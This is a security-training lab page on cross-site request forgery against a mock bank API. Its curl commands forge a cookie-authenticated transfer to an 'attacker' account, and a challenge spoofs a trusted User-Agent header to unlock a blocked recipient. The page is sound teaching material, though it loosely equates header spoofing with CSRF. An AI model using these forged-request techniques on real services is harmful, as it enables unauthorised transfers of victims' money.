CSRF · Lab 16
Lab 16 Module 3 Medium

CSRF

A bank has an endpoint that transfers money. It authenticates the user with a cookie. It does not check where the request came from. A malicious site can make the victim's browser send that request — and the money moves.

The rule: you have a session cookie for demo with a balance of 100. The transfer endpoint takes a recipient and an amount. Your job is to move the money to attacker without ever knowing the user's password — by forging a request.

Test

Copy these. Run them. Read what comes back.

Step 1 · Log in and get a session

The login endpoint issues a session cookie. Copy the value.

Terminal
curl -s -i -X POST "{LAB_API_BASE}/api/16/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"demo","password":"demo123"}'

What you'll see:

Response
HTTP/1.1 200 OK
Set-Cookie: session=sess_demo_csrf_7f3a; Path=/; HttpOnly
Content-Type: application/json

{
  "ok": true,
  "balance": 100
}

The session cookie is sess_demo_csrf_7f3a. The server uses it to know who you are on every subsequent request.

Step 2 · Look at your balance

Any request with the cookie proves you are demo.

Terminal
curl -s "{LAB_API_BASE}/api/16/me" \
  -H "Cookie: session=sess_demo_csrf_7f3a"

What you'll see:

Response
{
  "user": "demo",
  "balance": 100
}

Ordinary. You are demo, you have 100.

Step 3 · Forge a transfer

The transfer endpoint takes a JSON body. It does not require a password. It only checks the cookie. If a malicious site could make the victim's browser send this request, the victim's browser would send the cookie automatically — and the request would succeed.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/16/transfer" \
  -H "Cookie: session=sess_demo_csrf_7f3a" \
  -H "Content-Type: application/json" \
  -H "Origin: https://attacker.example" \
  -d '{"to":"attacker","amount":100}'

What you'll see:

Response
{
  "ok": true,
  "from": "demo",
  "to": "attacker",
  "amount": 100,
  "balance_after": 0,
  "note": "transfer completed. request Origin was ignored."
}

The server did not care that the Origin header said attacker.example. It authenticated the request by cookie, and executed it. If the browser had sent that request automatically from a third-party site, the transfer would have happened without the victim's consent.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

The transfer endpoint has a second recipient: treasury. Transfers to it are blocked — unless the request looks like it came from the bank's own internal health checker. The server trusts a specific User-Agent string for those requests, and no other check.

The value it trusts is internal-healthcheck. Send the same transfer you sent in Step 3, but change the recipient to treasury and set User-Agent to that value. The endpoint returns the flag.

This is the same bug as in Step 3, in a different disguise: the server trusted something the client controls to decide whether the request was safe. That's the CSRF failure mode — trust transferred from the cookie to another client-supplied value.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 16 — CSRF

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →

Previous Lab 16 of 30 Next lab